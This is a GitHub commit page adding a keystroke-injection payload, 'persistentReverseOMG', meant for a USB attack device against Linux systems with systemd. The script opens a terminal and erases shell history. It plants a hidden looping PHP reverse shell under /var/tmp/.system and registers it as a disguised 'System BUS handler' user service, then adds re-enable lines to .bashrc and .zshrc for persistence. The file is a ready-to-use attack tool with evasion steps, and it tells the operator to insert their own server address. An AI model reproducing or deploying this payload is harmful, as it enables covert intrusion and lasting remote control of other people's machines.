Merge pull request #43 from drapl0n/patch-1

Uploaded persistentReverseOMG
pull/44/head
Darren Kitchen 2022-05-11 10:19:46 -05:00 committed by GitHub
commit db1d68f776
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 56 additions and 0 deletions

View File

@ -0,0 +1,56 @@
REM Title: persistentReverseOMG
REM Description: persistentReverseOMG provides you persistent reverse shell remotely/locally.
REM AUTHOR: drapl0n
REM Version: 1.0
REM Category: Remote Access
REM Target: Unix-like operating systems with systemd
REM NOTE: Replace IP address(0.0.0.0) and port number(4444) with your servers IP address and Port Number.
DELAY 2000
CTRL ALT t
ENTER
DELAY 4000
STRING bash
ENTER
DELAY 400
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
ENTER
DELAY 100
STRING mkdir /var/tmp/.system
ENTER
DELAY 100
STRING echo -e "while :\ndo\n\tping -c 5 127.0.0.1\n\tif [ \$? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",4444);exec("\"/bin/sh -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
ENTER
DELAY 100
STRING chmod +x /var/tmp/.system/systemBus
ENTER
DELAY 100
REM [creating non-root systemd service]
STRING mkdir -p ~/.config/systemd/user
ENTER
DELAY 100
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
ENTER
DELAY 100
REM [enabling service]
DELAY 200
STRING systemctl --user daemon-reload
ENTER
DELAY 200
STRING systemctl --user enable --now systemBUS.service
ENTER
DELAY 200
STRING systemctl --user start --now systemBUS.service
ENTER
DELAY 100
REM [autostarting service on terminal/shell launch]
STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\nfi\n\n" > ~/tmmmp
ENTER
DELAY 50
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
ENTER